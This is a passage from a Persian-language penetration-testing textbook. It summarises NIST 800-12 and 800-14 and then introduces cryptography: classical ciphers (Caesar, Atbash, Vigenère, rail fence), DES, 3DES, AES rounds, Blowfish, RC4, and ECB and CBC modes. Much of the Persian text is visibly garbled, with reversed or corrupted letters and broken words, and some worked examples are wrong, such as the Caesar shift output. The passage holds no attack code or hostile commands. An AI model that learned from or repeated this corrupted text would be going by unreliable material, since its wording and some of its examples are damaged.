 شامل تواند می نیا باشد. نفوذ تست کی شامل ستین لازم سکیر یابیارز البته، است.
 باشد. رهیغ و تست ،سکیر یابیارز پروژه مانند یگرید یها روش

 

NIST 800-12، 1 شیرایو 

 درجه در دهد. می ارائه را کامپیوتر تیامن از یکل ینما ،1 ویرایش ،NIST 800-12 ژهیو هینشر
 شده نوشته فدرال های آژانس نداشت نظر در با دارد. سروکار یتامن کنترل های نهیزم با اول



 آموزش اصول و مفاهیم تست نفوذ 58 

 

 ژهیو انتشارات" سند نیا کامل عنوان باشد. دیمف تیامن متخصص هر یبرا تواند می اما است،
NIST 800-12، است. "اطلاعات تیامن بر ای مقدمه ،1 شیرایو 

 عمدر  چرخده  کدل  در کدامپیوتر  تید امن به پرداختن لزوم بر دیتأک سند نیا یهایژگیو نیمهمتر از یکی
 از باشدد  مدی  صدفحه  100 از شیب که را سند کل دیتوان می .ستمیس توسعه از پس فقط نه است، تمسیس

 http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-12r1.pdf لیندددک
 انجدام  نحوه مورد در واقعاً اصول نیا واقع، در .ستین نفوذ تست مختص نیا هم، باز .کنید مطالعه
 کده  باشد می صورت بدین روش کی نفوذ تست انجام هنگام حال، نیا با است. وتریکامپ تیامن

 .دیکن یزیر برنامه یتیامن یاستانداردها از یبرخ اساس بر را تست
 

  NIST 800-14 ژهیو هینشر

 تیرعا یتیامن های استیس چارچوب در دیبا که کند می فیتوص را یمشترک یتیامن اصول
 های استیس توسعه یبرا تواند می که است یروش 14 و اصل 8 فیتوص سند نیا هدف شود.
 شبکه در کاربران تیفعال ممیزی به سند نیا از یتوجه قابل بخش شود. استفاده تیامن
 ،قیتحق هرگونه صورت در و کاربر اقدامات یابیرد شامل خاص الزامات دارد. ختصاصا

 نیا در نفوذ صیتشخ و نظارت ،ممیزی است. داده انجام کاربر آنچه قاًیدق یبازساز ییتوانا
 است. شده دیتأک بشدت استاندارد
 :است ریز شرح به 800-14 ژهیو هینشر اصل هشت
 .کند می یبانیپشت یسازمان تیمأمور از کامپیوتر تیامن .1
 .است sound تیریمد ریناپذ ییجدا عناصر از یکی کامپیوتر تیامن .2
 .باشد صرفه هب مقرون دیبا وتریکامپ تیامن .3
 دارند. یتیامن های تیمسئول خود های سازمان از خارج در ستمیس دارندگان .4
 .باشد حیصر دیبا کامپیوتر ییپاسخگو و یتیامن های تیمسئول .5
 .دارد ازین کپارچهی و جامع کردیرو کی به کامپیوتر تیامن .6
 .شود یابیارز مجدداً ای دوره صورت به دیبا کامپیوتر تیامن .7
 شود. می محدود یاجتماع عوامل توسط کامپیوتر تیامن .8
  :است ریز شرح به 800-14 ژهیو نشر یعمل منطقه 14
 Policy استیس .1
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 Program Management برنامه تیریمد .2
 Risk Management سکیر تیریمد .3
 Life Cycle Planning یزندگ چرخه یزیر برنامه .4
 Personnel/User Issues ربران.کا / پرسنل به مربوط مسائل .5
 Preparing for Contingencies ها مصیبت و تصادفی رخداد یبرا شدن آماده .6

and Disasters 
 Computer Security Incident Handling کامپیوتر تیامن رخداد ی)مدیریت(دگیرس .7
 Awareness and Training آموزش و یآگاه .8
 Security Considerations in ریکامپیوت اتیعمل و یبانیپشت در یتیامن ملاحظات .9

Computer Support and Operations 
 Physical and Environmental Security یطیمح و فیزیکی تیامن .10
 Identification and Authentication تیهو احراز و ییشناسا .11
 Logical Access Control  یمنطق یدسترس کنترل .12
 Audit Trails   ی(حسابرس) ممیزی یارهیمس .13
 Cryptography یرمزنگار .14
 یبرا مناسبی مکان ،نیبنابرا دهد. می ارائه مناطق نیا همه یبرا را ییرهنمودها استاندارد نیا

 با متناسب را خود نفوذ تست دیتوان می سپس .باشد می هدف شبکه در تیامن مورد در ییراهنما
 .دیکن میتنظ ردهااستاندا نیا رد( ای) دییتأ
 

 خلاصه

 نید ا از .یمکدرد  یبررسد  اسدت  نفدوذ  تسدت  بده  مربوط که را یمختلف یاستانداردها فصل نیا در
 انجدام  هنگدام  کدرد.  اسدتفاده  نفدوذ  تسدت  یبرا شما های تلاش تیهدا یبرا توان می استانداردها

 (،PCI DSS بدا  انطبداق  )مانندد  شدود  مدی  کنترل خاص استاندارد کی توسط که نفوذ تست کی
 اسدتاندارد  بدا  تدان نفوذ تسدت  اگدر  یحتد  ولی .دیکن یرویپ استاندارد نیا از دیبا که است یهیبد

 جدامع  تسدت  کید  انجدام  در شما به ییاستانداردها نیچن از استفاده و ارجاع نشود، اداره یخاص
 کند. می جدا کردن هک از را نفوذ تست که است یموارد از قسمت نیا کند. می کمک نفوذ
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 رمزنگاری
Cryptography 
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 فصل اهداف

 :بود خواهید قادر ،فصل این خواندن از پس
 کنید. درک را رمزنگاری اصول 
 گذارد. می تأثیر نفوذتان تست بر چگونه رمزنگاری که کنید درک 
 کنید استفاده رمزنگاری زدن دور تلاش برای استاندارد های روش از. 

 تسدت  مدورد  در کتدابی  در رمزنگداری  مدورد  در فصدل  یدک  چرا ،بپرسید خود از دارد امکان
 سدایر  بده  دسدتیابی  و رمزعبدور  هش سازی ذخیره ،ها داده سازی ایمن برای رمزنگاری نفوذ؟

 و هدا  فدیلم  در شدده  ارائده  رمزنگداری  دیددگاه  ،متأسدفانه  .شدود  مدی  اسدتفاده  امنیتی فرایندهای
 نیاز رمزنگاری عملی دانش به ،وذنف کننده تست یک عنوان به .باشد می اشتباه کاملاً تلویزیون
 و بدوده  زدن دور قابدل  مدواردی  چده  که کند می راهنمایی را شما موضوع این .داشت خواهید
 و هدا  تواندایی  از تدا  کندد  مدی  کمدک  شما به موضوع این .باشد نمی زدن دور قابل مواردی چه

 آن بدا  گداری رمزن بدا  مواجهده  هنگام مهاجم یک یا نفوذ کننده تست یک که هایی محدودیت
 .شوید آگاه ،است روبرو
 هدم  کامدل  کتداب  یدک  حتی کند متخصص رمزنگاری امر در را فرد تواند نمی فصل یک ،یقینا
 داندش  که است این دهم انجام توانم می فصل این در آنچه ولی .دهد انجام را کار این تواند نمی

 کنندده  تسدت  یک عنوان به یدبتوان تا کرد خواهم فراهم شما برای را رمزنگاری مورد در مفیدی
 مبدانی  کدافی  انددازه  بده  ،داریدد  آن کردن دنبال به تصمیم اگر امیدوارم و .کنید عمل مؤثر نفوذ
 .آورید دست به را رمزنگاری اصول و لازم
 های الگوریتم مورد در که طور همان ،باشد می نفوذ تست مورد در کتاب یک این که آنجا از

 .شد خواهد تأکید سیستم امنیت با ها الگوریتم ارتباط بر کرد، خواهیم بحث مدرن رمزنگاری
 

 Cryptography Basics رمزنگاری مبانی

 و یافتده  گسدترش  رمزنگداری  ،مددرن  دوران در .اسدت  ها پیام سازی ایمن رمزنگاری کل هدف
 امنیدت  مدورد  در وظدایف  ایدن  همده  .اسدت  دیجیتدالی  امضداهای  و رمزنگداری  هدای  هدش  شامل

 بایدد  نفوذ کننده تست یک ،بنابراین .است امنیت تست مورد در نفوذ تست و .اشدب می اطلاعات
 .دهد انجام را امنیت اجرای اساسی های تست از برخی بتواند حداقل



 Cryptography 63 رمزنگاری: 3فصل 

 

 History of Encryption رمزگذاری تاریخچه

 است موضوع آن تاریخچه شروع ،جدید موضوع یک یادگیری رویکردهای ترین رایج از یکی
 گذشته رمزهای از کلی معرفی یک شما به بخش این در .است مفید نیز رمزنگاری برای که
 کمک شما به ولی ،شد نخواهند استفاده مدرن نفوذ تست در موارد این ،اکنون .دهم می ارائه
 در تری مرتبط موضوعات به بتوان تا کرده درک مفهومی نظر از را رمزنگاری تا کنند می

 .برسیم مدرن رمزنگاری
 

 The Caesar Cipher سزار زرم

 توسط روش این که شود می گفته .است سزار رمز ،رمزگذاری یها روش ترین قدیمی از یکی
 را عدد تعدادی .است ساده کاملاً آن انجام واقع در که است شده استفاده باستان روم سزارهای
 متن اگر مثلاً .نیدک جابجا را متن یک از حرف هر توانید می آن وسیله به که کنید می انتخاب
 باشد.

A cat 

 شود می تبدیل پیام پس ،دهید مکان تغییر حرف دو با که کنید می انتخاب شما و
ecv C 

 کند می تغییر حالت این ،دهید تغییر را حرف سه دارید تصمیم اگر ،یا
D fdw 

 توانید می ،حال این با .است کرده می استفاده راست به تایی سه شیفت از سزار که است مشهور
 دارید علاقه که فضایی تعداد هر با کنید، انتخاب خواهید می که را جابجایی الگوی هر
 ساده بسیار روش این درک که آنجا از .دهید مکان تغییر چپ یا راست سمت به توانید می
 رمز شکستن وجود این با .کند می ایجاد ما رمزگذاری مطالعه شروع برای را خوبی مکان ،است
 ،است خاصی واژه تعداد و حرف دارای زبانی هر که کنید می مشاهده .است آسان بسیار نیز آن
 ترین رایج ،انگلیسی زبان در .شوند می استفاده بقیه از بیشتر حروف از بعضی که معنی این به

 تواند می تنهایی به قانون دو این .باشد می The حرف سه ترین متداول .است a حرف تک کلمه
 ظاهر به حروف از رشته یک اگر ،مثال عنوان به .کند کمک سزار رمز مزگشاییر در شما به
 پیام در مکرر طور به حرفی سه کلمه یک که شدید متوجه و کردید مشاهده را ارزش بی

 احتمال و The است بوده حرف این که بزنید حدس راحتی به است ممکن ،شود می تکرار
 در حرف تک کلمه یک متوجه مرتباً اگر ،علاوهب .است موافق باشد صحیح حرف این اینکه
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 را E و A، T، H برای جایگزینی طرح اکنون .است a حرف زیاد احتمال به ،باشید شده متن
 زدن حدس در سعی و کرده ترجمه پیام در را حروف آن تمام توانید می اکنون .اید کرده پیدا
 جایگزینی رمز و E و A، T، H برای استفاده مورد جایگزین حروف یا باشید داشته موارد بقیه
 به حتی نوع این از پیام رمزگشایی .کنید استخراج است شده استفاده پیام این برای که را

 شخصی توسط کاغذ و قلم از استفاده با دقیقه ده از کمتر در کار این .ندارد احتیاج نیز کامپیوتر
 سهولت به که دارد وجود دیگری انینقو .ندارد رمزنگاری در ای پیشینه هیچ که شود می انجام

 حرفی دو ترکیب ترین رایج انگلیسی زبان در ،مثال عنوان به .کند می کمک کد این شکستن
ee و oo دهد می بیشتر کار امکان شما به که باشد، می. 
 عندوان  بده  کده  اسدت  ای مسدئله  شدود  شکسدته  راحتدی  به تواند می الگوریتم این که دیگری دلیل
 اسدتفاده  تواندد  مدی  کده  اسدت  ممکن کلیدهای تعداد کلید فضای .شود می ناختهش کلیدی فضای
 داشدته  وجدود  اسدت  ممکن کلید 26 فقط ،انگلیسی الفبای از استفاده هنگام ،حالت این در .شود
 هدر  توانیدد  مدی  کده  معناست بدان که ،.دارد وجود انگلیسی الفبای در حرف 26 فقط زیرا ،باشد
 .کندد  کدار  کلیدد  کده  زمدانی  تدا  کرده امتحان راحتی به را (26 + .…3 + ،2+ ،1)+ ممکن کلید
 (brute force attack) رحمانده  بدی  نیدروی  حملده  عنوان به ممکن کلیدهای تمام کردن امتحان
 .شود می شناخته

 عنوان به +(1 +،2 ،مثال عنوان به) کنید می انتخاب که (substitution) جایگزینی طرح از
 سزار رمز از ،بنابراین (T جایگزین A، U جایگزین B یعنی) شود می دهنامی جایگزینی الفبای
 برای واحد تعویض یک از که معنی این به ،شود می یاد نیز الفبا تک جایگزینی روش عنوان به

 سزار رمز اما ،دارد وجود نیز دیگری الفبایی تک های الگوریتم .کند می استفاده رمزگذاری
 .باشد می شده شناخته بیشتر

 

Atbash. 

 کتداب  مانند مذهبی آثار رمزگذاری برای جایگزینی رمز این از عبری کاتبان ،باستان دوران در
 را الفبدا  حروف ترتیب فقط .باشد می ساده بسیار Atbash رمز از استفاده .کردند می استفاده ارمیا

 .تاس آسان و بدوی بسیار رمزنگاری یک این ،مدرن استانداردهای طبق .کنید معکوس
 را دوم حدرف  و آخدر  حرف جایگزین را الفبا اول حرف که است عبری کد یک Atbash رمز
 عندوان  بده  کندد  می معکوس را الفبا سادگی به .کند می جایگزین غیره و آخر تا دوم حرف برای
 :انگلیسی به ،مثال
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A به Z شود می تبدیل، B به Y شود می تبدیل، C به X غیره و شود می تبدیل 
 .بدود  حدرف  آخرین tav و اول حرف aleph ،کردند می استفاده دیگری الفبای از برانیانع البته،
 :کرد خواهیم استفاده انگلیسی مثالهای از موارد این دادن نشان برای ،حال این با

.Attack at dawn 
 شود می تبدیل

.Zggzxp zg wzdm 
 .کندد  می تغییر الفبا حروف در حرف آخرین Z با الفبا در حرف اولین A ،بینید می که طور همان
 ایدن  .شدود  مدی  عدو   ابتددا  از هفتم حرف ،G با و (انتها از هفتم) است نوزدهم حرف T سپس
 .یابد می ادامه پیام کل رمزگذاری تا فرایند
 میY به تبدیل A، B به تبدیل Z و کنید می معکوس را فرایند سادگی به ،پیام رمزگشایی برای
 استفاده مدرن دوران در و است ساده کاملاً رمز یک این هک است بدیهی .غیره و شود
 در تغییرات از برخی انجام :دهد می نشان را رمزنگاری اساسی مفهوم این ،حال این با .شود نمی
 شده رمزگذاری متن حذف کلید که کسانی توسط خواندن برای plaintext)) ساده متن
(ciphertext) رمز .باشد می دشوار ،ندارند را Atbash، جایگزینی رمز یک ،سزار رمز مانند 
 رابطه ،رمز متن در موجود حرف هر با ساده متن در حرف هر که معناست بدان .باشد می

 تکرار مسائل همان از توان می که باشد می معنی بدان همچنین .دارد یک به یک و مستقیم
 رمز رمزگذاری برای ،شود استفاده سزار رمز رمزنگاری برای تواند می که کلمات و حروف

Atbash شود استفاده. 
 

 Multi-Alphabet Substitution الفبا چند ایگزینیج

 ،طرح این در .شد ایجاد الفبا چند با جایگزینی نام به ،سزار رمز در جزئی بهبود ،سرانجام
 الفبای یعنی) کنید جابجا را حروف ها آن وسیله به که کنید می انتخاب را عدد چندین
 . (Multiple Substitution Alphabets چندگانه نجایگزی

.A CAT 

 شود می تبدیل
.C ADV 

 A و C بده  اول A کده  کنید مشاهده و ،شود می شروع + 2 با چهارم حرف که باشید داشته توجه
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 رمزگشدایی  ایدن  گرچه .کند می دشوارتر را زیر متن رمزگشایی این .است شده تبدیل D به دوم
 کمدی  و سداده  کاغدذ  و قلدم  با و نیست دشواری حد از بیش کار اما ،است دشوارتر سزار رمز از

 امدروز  ،واقع در .داد انجام توان می سریعتر خیلی کامپیوتر با .داد انجام را کار این توان می تلاش
 ندوع  ایدن  زیدرا  ،کندد  نمدی  اسدتفاده  روشدی  چندین  از ایمدن  کداملاً  پیدام  ارسدال  بدرای  کدس  هیچ

 .شود می یتلق ضعیف بسیار رمزگذاری
 نام به ،خاصی نسخه ،واقع در .شد می گرفته نظر در امن کاملاً الفبا چند جایگزینی ،گذشته در
 رمز .گرفت می قرار استفاده مورد 1900 دهه اوایل و 1800 های دهه در ،Vigenère رمز

Vigenère توسط 1553 سال در Giovan Battista Bellaso چند رمز یک این .شد ابداع 
 رمزنگاری در شده استفاده جدول 3-1 شکل .کند می استفاده جستجو جدول از که ستا فازی

Vigenère دهد می نشان را. 

 
 Vigenère Cipher .3-1 شکل

 

 متن تا دهید مطابقت چپ سمت در خود ساده متن حرف با بالا در را خود کلیدی کلمه حرف
 کلیدتان و کنید می رمزگذاری را cat کلمه اگر ،مثال عنوان به .کنید پیدا را شده رمزگذاری

horse رمز متن پس ،باشد می jok است. 
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 Rail Fence ریلی

 رمزنگاری دیگر رویکرد .هستند جایگزینی رمزهای کردیم بررسی که قبلی رمزهای تمام
 به .باشد عبور رمز مشهورترین است ممکن Rail Fence رمز .است انتقال رمز کلاسیک
 تغییر دیگر ردیف یک در را حرف هر و کرده رمزگذاری خواهید می که را پیامی سادگی
 است. شده نوشته صورت این به "attack at dawn" بنابراین .کنید می دریافت ،دهید

.A  t c a d  w  
.t a k t  a n 

 بنابراین ،بنویسید معمول صورت به ،اید خوانده راست به چپ مانند که را متن ،بعدی مرحله در
 کنید می تولید

.atcadwtaktan 
 :بنویسد سطرها روی را آن باید گیرنده ،پیام رمزگشایی برای

.A  t c a d  w  
.t a k t  a n 

 استفاده ردیف دو از متون بیشتر مثال عنوان به .کند می بازسازی را اصلی پیام گیرنده سپس
 .دهید انجام یددار استفاده به تمایل که ردیفی تعداد با توان می ،حال این با .کنند می
 

 Modern Methods نوین های روش

 به ،حال این با .شد مطرح رمزنگاری اساسی مفاهیم با شما کردن راحت منظور به قبل بخش
 یها روش .باشید آشنا نیز رمزنگاری مدرن های روش با باید ،نفوذ کننده تست یک عنوان
 .گیرند مین قرار استفاده مورد دیگر شد بحث قبلی بخش در که تاریخی
 به ها فیلم از بسیاری در آنچه برخلاف .کنید شروع رمزنگاری بینانه واقع درک با که است بهتر

 با .شود " Crack " کرک مدرن رمزنگاری های الگوریتم است بعید ،است شده کشیده تصویر
 درایو یک به دسترسی برای استفاده مورد عبور رمزهای ،رمزنگاری اجرای ،وجود این

 .دارند را زدن دور یا خرابکاری حداقل امکان کلید تبادل های پروتکل و شده اریرمزگذ
 دارید نیاز که اساسی تعاریف از برخی با ،بپردازیم موضوع این به عمیق خیلی اینکه از قبل

 :کنیم می شروع
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 کلیدKey: متقارن رمزهای در .شوند می ترکیب ساده متن با رمزگذاری برای که هایی بیت 
 .هستند ریاضی عملیات از برخی نتیجه نامتقارن رمزهای در .باشد می تصادفی عدادا این
 ساده متنPlaintext: نشده رمزنگاری متن. 
 رمز متنCiphertext: شده رمزگذاری متن. 
 الگوریتم Algorithm: متن تولید برای ،ساده متن با کلید ترکیب برای ریاضی فرایند یک 

 .باشد می شده رمزگذاری
 

 Symmetric Encryption متقارن ذاریرمزگ

 پیام رمزگشایی و رمزگذاری برای کلید همان از که است معنی این به متقارن رمزگذاری
 شناخته (single key encryption) کلید تک رمزگذاری عنوان به نیز این .شود می استفاده
 بلوک به را ها داده بلوک رمز .بلوک و جریان :دارد وجود متقارن الگوریتم نوع دو .شود می

 بیتی 128 های بلوک از گاهی جدید های الگوریتم ولی ،بیتی 64 ها بلوک اغلب) کند می تقسیم
 را ها داده ،جریان رمزهای .کند می رمزگذاری بلوک یک بار هر را ها داده و (کنند می استفاده

 کنند. می رمزگذاری ،بیت یک بار هر ،بیت یک صورت به
 

 Data Encryption Standard ها داده اریرمزگذ استاندارد

 مورد ساختار ،حال این با .شود نمی گرفته نظر در ایمن دیگر و است قدیمی الگوریتم یک
 که است متقارنی الگوریتم اولین این و گیرد می قرار استفاده مورد نیز امروزه DES در استفاده
 که DES همان معمولاً یا داده ریرمزگذا استاندارد .کند می مطالعه رمزنگاری دانشجوی هر

 منتشر 1976 سال در سرانجام و شد ساخته 1970 دهه اوایل در IBM توسط ،شود می نامیده
 ها بلوک به را ساده متن که است بلوکی رمز .است Block Cipher بلوکی رمز یک DES .شد

 استفاده بیتی 64 های بلوک از DES مورد در .کند می رمزگذاری را بلوک هر و کرده تقسیم
 :است زیر شرح به ،اساسی مفهوم .شود می
 .شوند می جابجا ها بلوک آن سپس و شوند می تقسیم بیتی 64 های بلوک به ها داده .1
 تعویض شامل که رمزگذاری (roundچرخش) یا دور 16 توسط سپس شده جابجا های داده .2
(Substitutions،) بیت تغییر (Bit-shifting) نطقیم عملیات و (Logical operations) با است 

 .شود می دستکاری بیتی 56 کلید یک از استفاده
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 .خورند می درهم بیشتر مبادله الگوریتم از استفاده با ها داده سپس .3
 .شوند می جابجا ها داده بار آخرین .4
 ناسبم آنقدر ،بیت 56 ،آن کلید کوچک اندازه اما ،است درست کاملاً واقع در الگوریتم این

 مدرن های کامپیوتر به (brute force) رحمانه بی نیروی حملات برابر در بتواند که نیست
 حقایق اند، شده رمزنگاری و امنیت وارد تازه که کسانی برای .باشد داشته دفاع توانایی

 تر عمیق کمی خواهند می که کسانی برای ،حال این با .است کافی شد ذکر قبلاً که مختصری
 بیتی 56 رمز کلید از DES .کنیم بررسی را DES الگوریتم جزئیات دهید اجازه ،دکنن کاوش
 ،دارد وجود بیتی 64 کلید یک واقع در .کند می استفاده بیتی 64 بلوک روی شده بکاربرده
 عملیات برای بیت 56 فقط و شود می استفاده خطا تصحیح برای بایت هر از بیت یک ولی
 .ماند می باقی کلید واقعی
DES رمز یک Feistel 16 با (دورRound) یا دور کلید یک و (چرخشround) 48 برای بیتی 
 و مفهوم مخترع ،فیستل هورست نام به (Feistel توابع همچنین) فیستل رمزهای .است دور هر

 آنها:کنند می کار روش همان به فیستل رمزهای همه اند. شده نامگذاری DES اصلی مخترع
 ها نیمه آن از یکی به را (roundچرخش) یا دور تابع یک ،کنند می تقسیم هنیم دو به را بلوک
 یا دور هر کار این .کنند می عو  یکدیگر با را ها نیمه سپس و کنند می اعمال

 که باشد می اینگونه فیستل مختلف رمزهای بین اصلی تفاوت .شود می انجام (roundچرخش)
 .دهد می رخ چه (roundچرخش) یا دور تابع در دقیقاً
 

3DES 
Triple DES برای جایگزینی عنوان به DES در رمزنگاری انجمن ،زمان آن در .شد ایجاد 
 توقف معیار یک ،شد می کار آن روی هنوز که حالی در .بود مناسب گزینه یک جستجوی
 ،کند می اعمال مختلف کلید سه با را Triple DES اصل در .شد ایجاد (stop-gapفاصله)
 .شود می نامگذاری 3DES بنابراین
 A کلید با ابتدا متن .کرد می استفاده کلید دو از فقط که داشت وجود 3DES تغییرات

 آن شده رمز متن سپس .شد رمزگذاری B کلید با سپس عملیات آن رمز متن ،شد رمزگذاری
 گونه دینب امر این دلیل .کند می استفاده A کلید از مجدداً بار این ،شود می رمزگذاری عملیات
  .هستند فشرده بسیار محاسباتی نظر از مناسب رمزنگاری کلیدهای ایجاد که باشد می
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Advanced Encryption Standard (AES) . 

 که است بلوک رمز یک این .شد انتخاب DES جایگزینی برای نهایت در که بود الگوریتمی
 256 یا 192 ،128 کلید ندازها سه از یکی تواند می و کند، می کار بیتی 128 های بلوک روی
 DES جایگزین تا است شده انتخاب متحده ایالات دولت توسط مورد این .باشد داشته بیتی
 .است متقارن کلید الگوریتم پرکاربردترین اکنون و شود

AES بلوک رمز به Rijndael برای جایگزینی عنوان به رسماً .است معروف نیز DES سال در 
 FIPS 197 عنوان به AES .شد تعیین رقیب الگوریتم 15 با ساله 5 دفراین یک از پس 2001

 های الگوریتم ،نشدند پیروز رقابت این در که دیگری های الگوریتم .است شده مشخص
 جهان سراسر در الگوریتم این .نیست اغراق قابل AES اهمیت .هستند Twofish مانند معروف

 همه بین از .باشد متقارن رمز پرکاربردترین شاید و گیرد می قرار استفاده مورد گسترده طور به
 .شود توجه آن به بیشتر باید که است الگویی AES ،فصل این های الگوریتم

 مختلف سازی پیاده سه .بیت 256 و 192 ،128 :باشد داشته مختلف کلید اندازه سه تواند می
AES های نام با AES 128، AES 192 و AES 256 تواند می نیز بلوک اندازه اند. شده شناخته 
 و متغیر بلوک مجوز Rijndael اصلی رمز که است ذکر به لازم .باشد بیت 256 یا 192 ،128
 با ،اصلی اندازه سه از متحده ایالات دولت ،اگرچه است، داده بیتی 32 افزایش با را کلید اندازه
 .کند می استفاده AES استاندارد عنوان به بیتی 128 بلوک یک
 .است شده ساخته ریجمن وینسنت و دایمن ژوآن ،بلژیکی رمزنگار دو توسط الگوریتم این
 رمزهای رمزنگاری زمینه در گسترده طور به که است بلژیکی رمزنگار یک دایمن ژوآن
 رمزنگاری هش توابع و (Stream ciphers) جریانی رمزهای (،Block ciphers) بلوکی

Cryptographic hash function مختصری شرح ،امنیت به واردین تازه برای .است ردهک کار 
 کاوش بیشتری جزئیات با را AES الگوریتم ،اینحال با .باشد می کافی شده داده تاکنون که

 کمی خوانندگان از برخی برای اول نگاه در دارد امکان ،DES جزئیات دقیقاً .کرد خواهیم
 .باشد هداشت بازخوانی بار چند به نیاز و باشد کننده گیج

Rijndael رمز .کند می استفاده جایگشت-جایگزینی ماتریس از فیستل شبکه جای به 
Rijndael کار بایت 4 در بایت 4 ماتریس یک در ساده متن بیتی 128 بلوک اولین دادن قرار با 

 تغییر مختلف مراحل در الگوریتم پیشرفت با و شود می نامیده State ماتریس این .کند می
 در آن دادن قرار سپس و باینری به ساده متن بلوک تبدیل قدم اولین بنابراین .کرد خواهد
 .باشد می ماتریس
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 الگوریتم ،دادید قرار بایت 4 در بایت 4 ماتریس در باینری صورت به را ساده متن که هنگامی
 اینجا در مراحل .شود می استفاده مختلف دورهای در که است ساده نسبتاً مرحله چند شامل
 :است شده داده رحش

AddRoundKey: ماتریس از بایت هر ،مرحله این در State منحصرا ORd یا دور کلید با 
 دارد وجود نیز کلیدی بندی زمان الگوریتم یک ،DES مانند دقیقاً .باشد می (roundچرخش)

 .دهد می تغییر کمی را کلید دور هر که
SubBytes: مرحله از خروجی هک) است ورودی های بایت جایگزینی شامل Add Round 

Key های خانه داخل در از ماتریس محتوای که است جایی این . (هستند s هر .گیرد می قرار 
 .باشد می بیت هشت s های جعبه از یک

ShiftRows: تعداد به چرخشی حالت از ردیف هر آن در که است جابجایی مرحله یک 
 بایت هر .ماند می باقی تغییر بدون اول ردیف مرحله این در .شود می منتقل مراحل از مشخصی

 یا دور چپ انتهایی قسمت که حالی در) شود می منتقل چپ سمت به بایت یک دوم ردیف در
 هر و چپ سمت به تا دو سوم ردیف از بایت هر . (است شده پیچیده آن (roundچرخش)
 .شود می منتقل (زدن دور با دوباره) چپ سمت به تا سه چهارم ردیف از بایت

MixColumns: ماتریس ستونهای روی بر که است ترکیبی عمل یک این State کند می عمل 
 ماتریس ستون هر ،MixColumns مرحله در .کند می ترکیب ستون هر در را بایت چهار و

State ماتریس در ستون هر .شود می ضرب ثابت ای جمله چند یک با State (داشته خاطر به 
 Galois (28) حوزه در ای جمله چند یک عنوان به (کنیم می کار آن با که ماتریسی باشید
 .شود می ضرب ثابت ای جمله چند یک با نتیجه .شود می رفتار گالوا( )نظریه

.c(x) = 3x3 + x2 + x + 2 modulo x4 + 1 
 داده نشان خاص MDS ماتریس در ضرب یک عنوان به توان می را MixColumns مرحله
 کرد. مشاهده GF(28)محدود میدان در شده
 .شوند می اجرا Rijndael رمز در چگونه دهدکه می نشان ،الذکر فوق مراحل گرفتن نظر در
 ،بیتی 192 کلیدهای برای .دارد وجود (roundچرخش) یا دور 10 ،بیتی 128 کلیدهای برای
 .دارد وجود دور 14 ،بیتی 256 کلیدهای برای و دارد وجود دور 12
 اهدافمان برای ،نیست نگرانی جای .کند گیج کمی را شما است ممکن رآخ مرحله چند

 است ممکن ،AES بهتر درک برای .باشند نمی مهم ،گالوا های حوزه مانند ریاضیات، جزئیات
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 است. شده داده نشان زیر در آن لینک باشدکه مفید انیمیشن این
https://www.youtube.com/watch؟v=evjFwDRTmV0 

 
Blowfish 

 .کند می استفاده بیت 448 تا 32 از متغیر طول با کلید یک از که است متقارن بلوک رمز کی
Blowfish طور به رمزنگاری جامعه توسط .شد طراحی اشنایر بروس توسط 1993 سال در 
 .است گرفته قرار مردم گسترده استقبال مورد و گرفت قرار تحلیل و تجزیه مورد ای گسترده
 برای رمز این بنابراین ،است (رایگان) غیرتجاری محصول یک همچنین محصول این

 زیاد احتمال به ،آن بودن رایگان دلیل به .باشد می جذاب بندی بودجه هشیاردر های سازمان
 قرار استفاده مورد باز منبع محصولات از تعدادی در Blowfish که کرد مشاهده خواهید
 .گیرد می
 

RC4 

 .است بوده بلوکی رمزهای کردیم بحث ها آن مورد در که گریدی متقارن های الگوریتم تمام
RC4 توسط که است جریانی عبور رمز Ron Rivest است شده ساخته. RC مخفف Ron’s 

Cipher گاهی یا Rivest’s Cipher های نسخه .باشد می RC مانند دیگری RC5 و RC6 نیز 
 .هستند بلوکی رمزهای که دارد وجود

 

 Modification of Symmetric Methods رنمتقا های روش اصلاح

 که طور همان دقیقاً توان می را قبلی های پاراگراف در شده توصیف های الگوریتم از یک هر
 .کند تغییر ها آن عملکرد نوعی به تا کرد اصلاح را ها آن توان می یا ،کرد استفاده شده نوشته

 

 Electronic Codebook الکترونیکی کد کتاب

 Electronic Codebook (ECB) الکترونیکی کد کتاب حالت رمزگذاری حالت ترین ابتدایی
 این مشکل .شود می رمزگذاری جداگانه طور به بلوک هر و شود می تقسیم بلوک به پیام .است
 را یکسانی رمزگذاری متن همیشه ،کنید ارسال بار یک از بیش را ساده متن اگر که است

 استخراج برای رمزگشایی برای بتوانند تا دهد می را مکانی مینمهاج به این .کنید می دریافت
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 (Cipherرمز) از یسادگ به ECB ،دیگر عبارت به .کنند شروع را رمز تحلیل تجزیه ،کلید
 .کند می استفاده خود تیامن بهبود یبرا تلاش بدون است شده فیتوص که طور همان قاًیدق
 

 Cipher-Block Chaining رمزگذار بلوک زنجیره

 از قبل ،Cipher-block chaining (CBC) رمزگذار بلوک زنجیره حالت از استفاده هنگام
 که است معنی بدان این .شود می XOR قبلی رمز متن بلوک با ساده متن بلوک هر رمزگذاری
 از تر ایمن بسیار را آن و ،است بیشتر توجهی قابل طور به شده رمزگذاری متن در بودن تصادفی
 .است حالت ترین رایج این .کند می کد الکترونیکی بکتا حالت
 ECB از استفاده برای مناسبی دلیل ،کنند پشتیبانی CBC از بتوانند ارتباط طرف دو هر اگر
 شناخته ساده متن حملات برای قوی بازدارنده عامل یک CBC .ندارد وجود CBC از بیش
 .کرد خواهیم بررسی فصل این رد بعداً که رمزنگاری تحلیل و تجزیه روش یک ،است شده
 بلوک اولین XOR با دار رمز متن از قبلی بلوک هیچ .باشد می بلوک اولین CBC مسئله تنها
 ای گونه به اول بلوک به (IV) اولیه مقداردهی بردار افزودن معمولاً .ندارد وجود ساده متن
 تصادفی شبه عدد یک عواق در اولیه مقداردهی بردار .باشد XOR برای موردی دارای که است
 nonce درنتیجه شود می استفاده بار یک فقط IV معمولاً .رمزگذاری کلید مانند دقیقاً ،است
 قدیمی نسبتاً CBC حالت واقع در . (شود می استفاده بار یک فقط که عددی) شود می نامیده
 .است شده معرفی IBM توسط 1976 سال در و است

 
 Practical Applications عملی های(کاربردی)اپلیکیشن های برنامه

 ها آن به بعدی بخش در که) هستند نامتقارن به نسبت مزیت چندین دارای متقارن رمزهای
 رمزگشایی یا رمزگذاری .هستند نامتقارن از سریعتر متقارن رمزهای ،اول . (پرداخت خواهیم
